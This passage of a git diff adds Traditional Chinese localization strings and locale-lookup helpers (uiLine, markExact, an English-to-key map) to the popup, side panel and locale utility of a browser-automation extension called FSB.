"正在固定視窗中執行。" + }, + "shell_try_again_help": { + "message": "如果想再試一次,或需要其他協助,請告訴我。" + }, + "shell_locked_tab": { + "message": "當自動化正在此分頁工作時已停用" + }, + "shell_doctor_copied": { + "message": "已複製診斷命令" + }, + "shell_pair_copied": { + "message": "已複製配對重設命令" + }, + "shell_install_copied": { + "message": "已複製原生助手安裝命令" + }, + "shell_site_map_ready": { + "message": "網站地圖已就緒。要重試這項工作嗎? " + }, + "shell_retry_sitemap": { + "message": "使用網站地圖重試" + }, + "shell_locked_ext": { + "message": "擴充功能已鎖定。請先打開彈出式視窗解鎖。" + }, + "shell_already_done": { + "message": "已經完成" + }, + "shell_session_ended": { + "message": "工作階段意外結束。可以開始下一個工作。" + }, + "shell_no_map": { + "message": "此網站還沒有地圖。偵察可以幫助 FSB 學習網站結構,從而提升表現。" + }, + "shell_run_recon": { + "message": "開始偵察" + }, + "shell_stuck": { + "message": "自動化一直在重複同樣的操作。這裡有一些提示:" + }, + "shell_tip_specific": { + "message": "請把想完成的事情說得更具體一些" + }, + "shell_tip_captcha": { + "message": "請檢查頁面是否需要手動步驟,例如完成 CAPTCHA" + }, + "shell_tip_loaded": { + "message": "開始之前,請確認頁面已完全載入" + }, + "shell_no_worries": { + "message": "沒關係。側邊欄還在。可以再試一次,或讓我幫你做別的事。" + }, + "shell_password": { + "message": "密碼" + }, + "shell_signing_in": { + "message": "正在登入..." + }, + "shell_login_skipped": { + "message": "已略過登入。正在繼續自動化..." + }, + "shell_payment_selected": { + "message": "已選擇儲存的付款方式。FSB 會填寫卡資訊,但不會替你提交最終付款。" + }, + "shell_payment_skipped": { + "message": "已略過儲存的付款方式。在任何最終付款步驟之前,請檢查結帳表單。" + }, + "shell_replay_preview": { + "message": "已驗證的重播預覽" + }, + "shell_fresh_tab_fallback": { + "message": "所記錄網站的新分頁" + }, + "shell_approve_replay": { + "message": "核准重播" + }, + "shell_cancel": { + "message": "取消" + }, + "shell_replay_busy": { + "message": "另一項自動化正在執行時無法重播。請先停止目前的工作。" + }, + "shell_replay_cancelled_request": { + "message": "已取消重播要求。沒有開啟目標分頁。" + }, + "shell_replay_inspect_only": { + "message": "這段錄製已通過檢查驗證,但沒有可執行的步驟。" + }, + "shell_replay_cancelled": { + "message": "已取消重播。原始錄製沒有變更。" + }, + "shell_session_missing": { + "message": "找不到工作階段資料。" + }, + "shell_no_actions": { + "message": "此工作階段沒有錄製任何操作。" + }, + "shell_history_failed": { + "message": "無法載入工作階段。" + }, + "shell_replay_session": { + "message": "重播工作階段" + }, + "shell_delete_session": { + "message": "刪除工作階段" + }, + "shell_autopilot": { + "message": "自動駕駛" + }, + "shell_checking_local": { + "message": "正在檢查本機代理服務" + }, + "shell_checking_local_sent": { + "message": "正在檢查本機代理服務。你的訊息尚未傳送。" + }, + "shell_wake_body": { + "message": "FSB 正在嘗試讓本機代理服務可用。你的訊息尚未傳送。" + }, + "shell_checking_agent": { + "message": "正在檢查代理服務" + }, + "shell_agent_offline": { + "message": "代理離線" + }, + "shell_offline_body": { + "message": "FSB 無法連線到本機代理服務。請執行診斷命令,然後重試這則訊息。" + }, + "shell_copy_doctor": { + "message": "複製診斷命令" + }, + "shell_open_provider": { + "message": "開啟提供者設定" + }, + "shell_needs_helper": { + "message": "自動連線需要原生助手" + }, + "shell_install_body": { + "message": "請安裝或更新 FSB 原生助手,然後重試這則訊息。FSB 會自動連線此瀏覽器。" + }, + "shell_copy_install": { + "message": "複製安裝命令" + }, + "shell_back_to_message": { + "message": "返回訊息" + }, + "shell_checking_provider": { + "message": "正在檢查提供者" + }, + "shell_checking_provider_body": { + "message": "FSB 正在傳送你的訊息之前檢查 AI 提供者。" + }, + "shell_starting_agent": { + "message": "正在啟動代理" + }, + "shell_starting_agent_body": { + "message": "FSB 正在把你的訊息交給代理。" + }, + "shell_owned_by": { + "message": "由 $LABEL$ 佔用", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_owned_title": { + "message": "當 $LABEL$ 正在使用此分頁時已停用", + "placeholders": { + "label": { + "content": "$1" + } + } + }, + "shell_error_encountered": { + "message": "發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_generic": { + "message": "發生問題:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_background": { + "message": "與背景指令碼通訊時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_stop": { + "message": "停止自動化時發生錯誤:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_starting": { + "message": "正在啟動自動化..." + }, + "shell_continuing": { + "message": "正在繼續..." + }, + "shell_connecting": { + "message": "正在連線到頁面..." + }, + "shell_connected_analyzing": { + "message": "已連線。正在分析頁面..." + }, + "shell_analyzing": { + "message": "正在分析頁面..." + }, + "shell_starting_plain": { + "message": "正在啟動自動化" + }, + "shell_testing_api": { + "message": "正在測試 $NAME$ 的 API 連線...", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_ok": { + "message": "$NAME$ 的 API 連線正常。", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_model": { + "message": "已連線到模型:$MODEL$", + "placeholders": { + "model": { + "content": "$1" + } + } + }, + "shell_api_failed": { + "message": "$NAME$ 的 API 連線失敗。請檢查設定。", + "placeholders": { + "name": { + "content": "$1" + } + } + }, + "shell_api_status": { + "message": "狀態:$STATUS$ - $DETAIL$", + "placeholders": { + "status": { + "content": "$1" + }, + "detail": { + "content": "$2" + } + } + }, + "shell_api_details": { + "message": "詳細資訊:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_error_details": { + "message": "錯誤詳細資訊:$ERROR$", + "placeholders": { + "error": { + "content": "$1" + } + } + }, + "shell_working": { + "message": "工作中" + }, + "shell_error_status": { + "message": "錯誤" } } diff --git a/extension/ui/owner-chip.js b/extension/ui/owner-chip.js index e5124a4a6..e82bbd1f2 100644 --- a/extension/ui/owner-chip.js +++ b/extension/ui/owner-chip.js @@ -48,7 +48,11 @@ function buildChipText(ownerAgentIdShort) { var label = (ownerAgentIdShort === undefined || ownerAgentIdShort === null) ? '' : String(ownerAgentIdShort).trim(); - return 'Owned by ' + label; + var english = 'Owned by ' + label; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.text === 'function') { + return fsbUiLocale.text('shell_owned_by', english, { label: label }); + } + return english; } /** diff --git a/extension/ui/popup.js b/extension/ui/popup.js index f24b88ad3..70c9efb90 100644 --- a/extension/ui/popup.js +++ b/extension/ui/popup.js @@ -72,6 +72,11 @@ const chatMessages = document.getElementById('chatMessages'); const statusDot = document.querySelector('.status-dot'); const statusText = document.querySelector('.status-text'); +function uiLine(key, english, subs) { + if (globalThis.fsbUiLocale && typeof fsbUiLocale.text === 'function') return fsbUiLocale.text(key, english, subs); + return english; +} + let _headerBaseStatusLabel = 'Ready'; let _headerBaseStatusTone = ''; let _headerOwnerLabel = null; @@ -88,7 +93,8 @@ function _renderHeaderStatus() { statusDot.classList.add('owned'); return; } - statusText.textContent = _headerBaseStatusLabel; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, _headerBaseStatusLabel); + else statusText.textContent = _headerBaseStatusLabel; if (_headerBaseStatusTone === 'running') statusDot.classList.add('running'); if (_headerBaseStatusTone === 'error') statusDot.classList.add('error'); } @@ -301,7 +307,9 @@ async function refreshOwnerChip() { // `.disabled` property does NOT block typing on contenteditable elements. _chatLockedByOwnerChip = true; chatInput.setAttribute('contenteditable', 'false'); - chatInput.title = 'Disabled while tab is owned by ' + label; + chatInput.title = (globalThis.fsbUiLocale && fsbUiLocale.text) + ? fsbUiLocale.text('shell_owned_title', 'Disabled while tab is owned by ' + label, { label: label }) + : 'Disabled while tab is owned by ' + label; updateSendButtonState(); } catch (_e) { // Chip is best-effort -- never poison popup boot. @@ -500,14 +508,14 @@ async function handleSendMessage() { // Show Chrome page error as plain text, not in a bubble showChromepageError(response.error); } else { - addMessage(`I encountered an error: ${response.error}`, 'error'); + addMessage(uiLine('shell_error_encountered', 'I encountered an error: ' + response.error, { error: response.error }), 'error'); } setIdleState(); } }); } catch (error) { - addMessage(`Something went wrong: ${error.message}`, 'error'); + addMessage(uiLine('shell_error_generic', 'Something went wrong: ' + error.message, { error: error.message }), 'error'); setIdleState(); } } @@ -535,7 +543,7 @@ function stopAutomation() { if (chrome.runtime.lastError) { console.error('Chrome runtime error:', chrome.runtime.lastError); - addMessage(`Error communicating with background script: ${chrome.runtime.lastError.message}`, 'error'); + addMessage(uiLine('shell_error_background', 'Error communicating with background script: ' + chrome.runtime.lastError.message, { error: chrome.runtime.lastError.message }), 'error'); stopRequested = false; return; } @@ -552,7 +560,7 @@ function stopAutomation() { console.log('Automation stopped successfully'); } else { const errorMsg = response ? response.error : 'Unknown error'; - addMessage(`Error stopping automation: ${errorMsg}`, 'error'); + addMessage(uiLine('shell_error_stop', 'Error stopping automation: ' + errorMsg, { error: errorMsg }), 'error'); console.error('Stop automation failed:', errorMsg); stopRequested = false; } @@ -575,7 +583,7 @@ async function testAPI() { }; const displayName = providerNames[provider] || provider; - addMessage(`Testing ${displayName} API connection...`, 'system'); + addMessage(uiLine('shell_testing_api', 'Testing ' + displayName + ' API connection...', { name: displayName }), 'system'); const testIcon = testBtn.querySelector('i'); if (testIcon) { @@ -590,19 +598,19 @@ async function testAPI() { } if (response.success) { - addMessage(`${displayName} API connection is working.`, 'system'); + addMessage(uiLine('shell_api_ok', displayName + ' API connection is working.', { name: displayName }), 'system'); if (response.result && response.result.data) { - addMessage(`Connected to model: ${response.result.model || 'unknown'}`, 'ai'); + addMessage(uiLine('shell_api_model', 'Connected to model: ' + (response.result.model || 'unknown'), { model: response.result.model || 'unknown' }), 'ai'); } } else { - addMessage(`${displayName} API connection failed. Please check your settings.`, 'error'); + addMessage(uiLine('shell_api_failed', displayName + ' API connection failed. Please check your settings.', { name: displayName }), 'error'); if (response.result) { - addMessage(`Status: ${response.result.status} - ${response.result.statusText}`, 'error'); + addMessage(uiLine('shell_api_status', 'Status: ' + response.result.status + ' - ' + response.result.statusText, { status: response.result.status, detail: response.result.statusText }), 'error'); if (response.result.error) { - addMessage(`Details: ${response.result.error}`, 'error'); + addMessage(uiLine('shell_api_details', 'Details: ' + response.result.error, { error: response.result.error }), 'error'); } } else if (response.error) { - addMessage(`Error details: ${response.error}`, 'error'); + addMessage(uiLine('shell_error_details', 'Error details: ' + response.error, { error: response.error }), 'error'); } } }); @@ -752,6 +760,7 @@ function addStatusMessage(text, type = 'ai') { const statusText = document.createElement('span'); statusText.className = 'status-text'; statusText.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, text); // Progress container (hidden until progress data arrives) const progressContainer = document.createElement('div'); @@ -850,7 +859,9 @@ function addCompletionMessage(text, type = 'ai', isPartial = false) { messageDiv.classList.add('partial-result'); const label = document.createElement('div'); label.className = 'partial-result-label'; - label.textContent = 'Partial result'; + label.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(label, 'Partial result') + : 'Partial result'; messageDiv.appendChild(label); } @@ -928,6 +939,10 @@ function addMessage(text, type = 'system') { } else { messageDiv.textContent = text; } + if (type !== 'user' && type !== 'ai' && type !== 'action' + && globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') { + fsbUiLocale.markExact(messageDiv, messageDiv.textContent); + } // Add dismiss button for error messages if (type === 'error') { @@ -1062,10 +1077,14 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { if (request.task) { const retryDiv = document.createElement('div'); retryDiv.className = 'message system new'; - retryDiv.textContent = 'Would you like to try again? '; + retryDiv.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryDiv, 'Would you like to try again? ') + : 'Would you like to try again? '; const retryBtn = document.createElement('button'); retryBtn.className = 'retry-btn'; - retryBtn.textContent = 'Retry'; + retryBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryBtn, 'Retry') + : 'Retry'; retryBtn.addEventListener('click', () => { retryDiv.remove(); chatInput.textContent = request.task; @@ -1219,5 +1238,8 @@ console.log(`FSB v${chrome.runtime.getManifest().version} chat interface loaded` if (globalThis.fsbUiLocale && typeof fsbUiLocale.boot === 'function') { - fsbUiLocale.boot().then(function () { fsbUiLocale.apply(document); }); + fsbUiLocale.boot().then(function () { + fsbUiLocale.apply(document); + if (typeof _renderHeaderStatus === 'function') _renderHeaderStatus(); + }); } diff --git a/extension/ui/sidepanel.js b/extension/ui/sidepanel.js index 2226f79a7..7c599cee2 100644 --- a/extension/ui/sidepanel.js +++ b/extension/ui/sidepanel.js @@ -631,7 +631,8 @@ let _activeTabSurfaceSyncGeneration = 0; function _renderHeaderStatus() { if (!statusText || !statusDot || !statusDot.classList) return; statusDot.classList.remove('running', 'error'); - statusText.textContent = _headerBaseStatusLabel; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusText, _headerBaseStatusLabel); + else statusText.textContent = _headerBaseStatusLabel; if (_headerBaseStatusTone === 'running') statusDot.classList.add('running'); if (_headerBaseStatusTone === 'error') statusDot.classList.add('error'); } @@ -1253,7 +1254,9 @@ function _delegationElement(tagName, className, textValue) { var element = document.createElement(tagName); if (className) element.className = className; if (textValue !== undefined && textValue !== null) { - element.textContent = String(textValue); + var english = String(textValue); + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(element, english); + else element.textContent = english; } return element; } @@ -1643,7 +1646,10 @@ async function _copyDelegationDoctorCommand() { && typeof navigator.clipboard.writeText === 'function') { await navigator.clipboard.writeText(command); var mount = _ensureDelegationMount(); - if (mount.announcer) mount.announcer.textContent = 'Doctor command copied'; + if (mount.announcer) { + if (globalThis.fsbUiLocale && fsbUiLocale.markExact) fsbUiLocale.markExact(mount.announcer, 'Doctor command copied'); + else mount.announcer.textContent = 'Doctor command copied'; + } } } catch (_error) { /* clipboard failure leaves the visible literal available */ } } @@ -1656,7 +1662,10 @@ async function _copyDelegationPairResetCommand() { && typeof navigator.clipboard.writeText === 'function') { await navigator.clipboard.writeText(command); var mount = _ensureDelegationMount(); - if (mount.announcer) mount.announcer.textContent = 'Pairing reset command copied'; + if (mount.announcer) { + if (globalThis.fsbUiLocale && fsbUiLocale.markExact) fsbUiLocale.markExact(mount.announcer, 'Pairing reset command copied'); + else mount.announcer.textContent = 'Pairing reset command copied'; + } } } catch (_error) { /* clipboard failure leaves the visible literal available */ } } @@ -1681,7 +1690,10 @@ async function _copyDelegationNativeHostInstallCommand() { && typeof navigator.clipboard.writeText === 'function') { await navigator.clipboard.writeText(command); var mount = _ensureDelegationMount(); - if (mount.announcer) mount.announcer.textContent = 'Native helper install command copied'; + if (mount.announcer) { + if (globalThis.fsbUiLocale && fsbUiLocale.markExact) fsbUiLocale.markExact(mount.announcer, 'Native helper install command copied'); + else mount.announcer.textContent = 'Native helper install command copied'; + } } } catch (_error) { /* the visible recovery copy remains actionable */ } } @@ -3302,7 +3314,9 @@ try { function setAutomationRunnerText(text) { if (!automationRunnerLabel) return; - automationRunnerLabel.textContent = text || 'Automation running'; + var label = text || 'Automation running'; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(automationRunnerLabel, label); + else automationRunnerLabel.textContent = label; } function showAutomationRunner(startedAt, text) { @@ -3378,10 +3392,14 @@ function _renderAutomationRetryPrompt(taskText, onRetry) { if (!taskText) return null; const retryDiv = document.createElement('div'); retryDiv.className = 'message system new'; - retryDiv.textContent = 'Would you like to try again? '; + retryDiv.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryDiv, 'Would you like to try again? ') + : 'Would you like to try again? '; const retryBtn = document.createElement('button'); retryBtn.className = 'retry-btn'; - retryBtn.textContent = 'Retry'; + retryBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryBtn, 'Retry') + : 'Retry'; retryBtn.addEventListener('click', async () => { // WR-03: without this gate the click silently drops the user's intent, // because handleSendMessage's runtime gate fail-closes without surfacing why. @@ -3663,10 +3681,14 @@ function handleReconComplete(data) { if (pendingReconTask) { const retryDiv = document.createElement('div'); retryDiv.className = 'message system new'; - retryDiv.textContent = 'Site map ready. Retry your task? '; + retryDiv.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryDiv, 'Site map ready. Retry your task? ') + : 'Site map ready. Retry your task? '; const retryBtn = document.createElement('button'); retryBtn.className = 'retry-btn'; - retryBtn.textContent = 'Retry with Site Map'; + retryBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(retryBtn, 'Retry with Site Map') + : 'Retry with Site Map'; retryBtn.addEventListener('click', async () => { // Phase 11 FINT-20 WR-03 fix -- gate the retry on the foreign-owned // check. applyInputLockout dims chatInput/sendBtn/stopBtn/micBtn when @@ -3883,7 +3905,10 @@ async function refreshActiveTabOwnership(tabId, surfaceGeneration) { // while the visible automation presentation stays provider-neutral. _chatLockedByOwnerChip = true; applyInputLockout(true); - chatInput.title = 'Disabled while automation is working on this tab'; + chatInput.title = (globalThis.fsbUiLocale && fsbUiLocale.text) + ? fsbUiLocale.text('shell_locked_tab', 'Disabled while automation is working on this tab') + : 'Disabled while automation is working on this tab'; + chatInput.setAttribute('data-i18n-attr', 'title:shell_locked_tab'); updateSendButtonState(); return { verified: true, @@ -4912,6 +4937,7 @@ function addStatusMessage(text, type = 'ai') { const statusTextEl = document.createElement('span'); statusTextEl.className = 'status-text'; statusTextEl.textContent = text; + if (globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') fsbUiLocale.markExact(statusTextEl, text); setAutomationRunnerText(text); // Progress container (hidden until progress data arrives) @@ -5004,7 +5030,9 @@ function _renderCompletionDomOnly(text, type, isPartial) { messageDiv.classList.add('partial-result'); var label = document.createElement('div'); label.className = 'partial-result-label'; - label.textContent = 'Partial result'; + label.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(label, 'Partial result') + : 'Partial result'; messageDiv.appendChild(label); } @@ -5043,7 +5071,9 @@ function addCompletionMessage(text, type = 'ai', isPartial = false) { messageDiv.classList.add('partial-result'); const label = document.createElement('div'); label.className = 'partial-result-label'; - label.textContent = 'Partial result'; + label.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(label, 'Partial result') + : 'Partial result'; messageDiv.appendChild(label); } @@ -5322,6 +5352,10 @@ function addMessage(text, type = 'system', kind) { } else { messageDiv.textContent = text; } + if (type !== 'user' && type !== 'ai' && type !== 'action' + && globalThis.fsbUiLocale && typeof fsbUiLocale.markExact === 'function') { + fsbUiLocale.markExact(messageDiv, messageDiv.textContent); + } // Add dismiss button for error messages if (type === 'error') { @@ -5563,13 +5597,17 @@ function renderAutomationCompletionPayload(payload) { reconDiv.className = 'message system new recon-suggestion'; const textSpan = document.createElement('span'); textSpan.className = 'recon-suggestion-text'; - textSpan.textContent = 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; + textSpan.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(textSpan, 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.') + : 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; reconDiv.appendChild(textSpan); const reconBtn = document.createElement('button'); reconBtn.className = 'recon-btn'; reconBtn.id = 'reconFromSidepanel'; - reconBtn.textContent = 'Run Reconnaissance'; + reconBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(reconBtn, 'Run Reconnaissance') + : 'Run Reconnaissance'; reconBtn.addEventListener('click', () => { startReconFromSidepanel(currentUrl, payload.task || completionMessage); }); @@ -5818,13 +5856,17 @@ chrome.runtime.onMessage.addListener((request, sender, sendResponse) => { reconDiv.className = 'message system new recon-suggestion'; const textSpan = document.createElement('span'); textSpan.className = 'recon-suggestion-text'; - textSpan.textContent = 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; + textSpan.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(textSpan, 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.') + : 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.'; reconDiv.appendChild(textSpan); const reconBtn = document.createElement('button'); reconBtn.className = 'recon-btn'; reconBtn.id = 'reconFromSidepanel'; - reconBtn.textContent = 'Run Reconnaissance'; + reconBtn.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(reconBtn, 'Run Reconnaissance') + : 'Run Reconnaissance'; reconBtn.addEventListener('click', () => { startReconFromSidepanel(currentUrl, request.task || completionMessage); }); @@ -6448,15 +6490,15 @@ async function loadHistoryList() { costDisplay + (session.mode === 'mcp-agent' ? 'MCP · ' + escapeHtml(session.mcpClient || 'Agent') + '' - : 'Autopilot') + + : '' + escapeHtml((globalThis.fsbUiLocale && fsbUiLocale.text) ? fsbUiLocale.text('shell_autopilot', 'Autopilot') : 'Autopilot') + '') + '' + escapeHtml(statusLabel) + '' + '' + '' + (hasReplayDetails ? - '' : '') + - '' + ''; @@ -6465,7 +6507,7 @@ async function loadHistoryList() { console.error('Failed to load history list:', error); historyList.innerHTML = '
' + '' + - '

Failed to load sessions.

' + + '

' + escapeHtml((globalThis.fsbUiLocale && fsbUiLocale.text) ? fsbUiLocale.text('shell_history_failed', 'Failed to load sessions.') : 'Failed to load sessions.') + '

' + '
'; } } @@ -6540,7 +6582,9 @@ function renderReplayPreview(preview) { const heading = document.createElement('div'); heading.className = 'replay-preview-heading'; - heading.textContent = 'Verified replay preview'; + heading.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(heading, 'Verified replay preview') + : 'Verified replay preview'; card.appendChild(heading); const meta = document.createElement('div'); @@ -6556,7 +6600,11 @@ function renderReplayPreview(preview) { const origin = document.createElement('div'); origin.className = 'replay-preview-origin'; try { origin.textContent = 'Fresh tab: ' + new URL(preview.startUrl).origin; } - catch (_error) { origin.textContent = 'Fresh recorded-site tab'; } + catch (_error) { + origin.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(origin, 'Fresh recorded-site tab') + : 'Fresh recorded-site tab'; + } card.appendChild(origin); const timeline = document.createElement('div'); @@ -6613,11 +6661,15 @@ function renderMcpReplayApproval(approval) { const approve = document.createElement('button'); approve.type = 'button'; approve.className = 'replay-decision-btn retry'; - approve.textContent = 'Approve replay'; + approve.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(approve, 'Approve replay') + : 'Approve replay'; const cancel = document.createElement('button'); cancel.type = 'button'; cancel.className = 'replay-decision-btn stop'; - cancel.textContent = 'Cancel'; + cancel.textContent = (globalThis.fsbUiLocale && fsbUiLocale.markExact) + ? fsbUiLocale.markExact(cancel, 'Cancel') + : 'Cancel'; actions.appendChild(approve); actions.appendChild(cancel); card.appendChild(actions); @@ -7023,5 +7075,8 @@ console.log(`FSB v${chrome.runtime.getManifest().version} side panel script load if (globalThis.fsbUiLocale && typeof fsbUiLocale.boot === 'function') { - fsbUiLocale.boot().then(function () { fsbUiLocale.apply(document); }); + fsbUiLocale.boot().then(function () { + fsbUiLocale.apply(document); + if (typeof _renderHeaderStatus === 'function') _renderHeaderStatus(); + }); } diff --git a/extension/utils/ui-locale.js b/extension/utils/ui-locale.js index a1f0f9f66..bdeb820ba 100644 --- a/extension/utils/ui-locale.js +++ b/extension/utils/ui-locale.js @@ -99,12 +99,123 @@ return applySubs(msg, subs); } - function text(key, english) { - var value = t(key); - if (typeof value !== 'string' || value.length === 0 || value === key) return english; + function text(key, english, subs) { + var value = t(key, subs); + if (typeof value !== 'string' || value.length === 0 || value === key) { + if (typeof english !== 'string') return value; + return applySubs(english, subs); + } return value; } + function writeText(node, value) { + if (!node) return; + var child = node.firstChild; + if (child && child.nodeType === 3) { + child.nodeValue = value; + return; + } + if (node.childNodes && node.childNodes.length > 0 && node.ownerDocument && typeof node.ownerDocument.createTextNode === 'function') { + node.insertBefore(node.ownerDocument.createTextNode(value), child); + return; + } + node.textContent = value; + } + + function fill(node, key, english, subs) { + if (node && typeof node.setAttribute === 'function') { + node.setAttribute('data-i18n-live', key); + node.setAttribute('data-i18n-en', english); + if (subs && typeof subs === 'object') node.setAttribute('data-i18n-subs', JSON.stringify(subs)); + else if (typeof node.removeAttribute === 'function') node.removeAttribute('data-i18n-subs'); + } + var shown = text(key, english, subs); + writeText(node, shown); + return shown; + } + + var EXACT = { + 'Ready': 'shell_ready', + 'Welcome to FSB. How can I help?': 'shell_welcome', + 'No active automation to stop.': 'shell_no_automation', + 'Automation stopped. Let me know if you need help with anything else!': 'shell_stopped', + 'Partial result': 'shell_partial', + 'Would you like to try again? ': 'shell_try_again', + 'Retry': 'shell_retry', + 'Switched to popup mode. Extension will close when clicked outside.': 'shell_switched_popup', + 'Running in persistent window mode.': 'shell_persistent', + 'Let me know if you\'d like to try again or need help with something else.': 'shell_try_again_help', + 'Disabled while automation is working on this tab': 'shell_locked_tab', + 'Doctor command copied': 'shell_doctor_copied', + 'Pairing reset command copied': 'shell_pair_copied', + 'Native helper install command copied': 'shell_install_copied', + 'Site map ready. Retry your task? ': 'shell_site_map_ready', + 'Retry with Site Map': 'shell_retry_sitemap', + 'Extension is locked. Please unlock it first by opening the popup.': 'shell_locked_ext', + 'Already completed': 'shell_already_done', + 'Session ended unexpectedly. Ready for your next task.': 'shell_session_ended', + 'This site does not have a map yet. Reconnaissance can help FSB learn the site structure for better performance.': 'shell_no_map', + 'Run Reconnaissance': 'shell_run_recon', + 'The automation got stuck repeating the same actions. Here are some tips:': 'shell_stuck', + 'Try being more specific about what you want to achieve': 'shell_tip_specific', + 'Check if the page requires manual steps like CAPTCHA solving': 'shell_tip_captcha', + 'Ensure the page has fully loaded before starting': 'shell_tip_loaded', + 'No worries! The side panel is still here. Try again or ask for help with something else.': 'shell_no_worries', + 'Password': 'shell_password', + 'Signing in...': 'shell_signing_in', + 'Login skipped. Continuing automation...': 'shell_login_skipped', + 'Saved payment method selected. FSB will fill the card details, but it will not submit the final payment for you.': 'shell_payment_selected', + 'Saved payment method skipped. Review the checkout form manually before any final payment step.': 'shell_payment_skipped', + 'Verified replay preview': 'shell_replay_preview', + 'Fresh recorded-site tab': 'shell_fresh_tab_fallback', + 'Approve replay': 'shell_approve_replay', + 'Cancel': 'shell_cancel', + 'Cannot replay while another automation is running. Stop the current task first.': 'shell_replay_busy', + 'Replay request cancelled. No target tabs were opened.': 'shell_replay_cancelled_request', + 'This recording is verified for inspection, but it has no executable steps.': 'shell_replay_inspect_only', + 'Replay cancelled. The original recording was not changed.': 'shell_replay_cancelled', + 'Session data not found.': 'shell_session_missing', + 'No actions were recorded in this session.': 'shell_no_actions', + 'Failed to load sessions.': 'shell_history_failed', + 'Replay session': 'shell_replay_session', + 'Delete session': 'shell_delete_session', + 'Autopilot': 'shell_autopilot', + 'Checking local agent service': 'shell_checking_local', + 'Checking local agent service. Your message has not been sent.': 'shell_checking_local_sent', + 'FSB is trying to make the local agent service available. Your message has not been sent.': 'shell_wake_body', + 'Checking agent service': 'shell_checking_agent', + 'Agent offline': 'shell_agent_offline', + 'FSB cannot reach the local agent service. Run the doctor command, then try this message again.': 'shell_offline_body', + 'Copy doctor command': 'shell_copy_doctor', + 'Open provider setup': 'shell_open_provider', + 'Automatic connection needs the native helper': 'shell_needs_helper', + 'Install or update the FSB native helper, then try this message again. FSB will connect this browser automatically.': 'shell_install_body', + 'Copy install command': 'shell_copy_install', + 'Back to message': 'shell_back_to_message', + 'Checking provider': 'shell_checking_provider', + 'FSB is checking your AI provider before sending your message.': 'shell_checking_provider_body', + 'Starting agent': 'shell_starting_agent', + 'FSB is handing your message to the agent.': 'shell_starting_agent_body', + 'Starting automation...': 'shell_starting', + 'Continuing...': 'shell_continuing', + 'Connecting to page...': 'shell_connecting', + 'Connected. Analyzing page...': 'shell_connected_analyzing', + 'Analyzing page...': 'shell_analyzing', + 'Starting automation': 'shell_starting_plain', + 'Automation running': 'shell_running', + 'Working': 'shell_working', + 'Error': 'shell_error_status' + }; + + function markExact(node, english) { + var key = EXACT[english]; + if (!key) { + writeText(node, english); + return english; + } + return fill(node, key, english); + } + function setCatalog(code, messages) { if (!isPublicLocale(code)) return; catalogs[code] = messages || {}; @@ -196,6 +307,17 @@ attrs[i].setAttribute(bits[0].trim(), t(bits[1].trim())); }); } + var live = doc.querySelectorAll('[data-i18n-live]'); + for (i = 0; i < live.length; i++) { + var liveKey = live[i].getAttribute('data-i18n-live'); + var liveEnglish = live[i].getAttribute('data-i18n-en') || ''; + var liveSubs = null; + var rawSubs = live[i].getAttribute('data-i18n-subs'); + if (rawSubs) { + try { liveSubs = JSON.parse(rawSubs); } catch (err) { liveSubs = null; } + } + writeText(live[i], text(liveKey, liveEnglish, liveSubs)); + } } var api = { @@ -206,6 +328,9 @@ resolveLocale: resolveLocale, t: t, text: text, + fill: fill, + markExact: markExact, + exact: EXACT, apply: apply, setCatalog: setCatalog, setBrowserTag: setBrowserTag, diff --git a/tests/delegation-sidepanel-ui.test.js b/tests/delegation-sidepanel-ui.test.js index 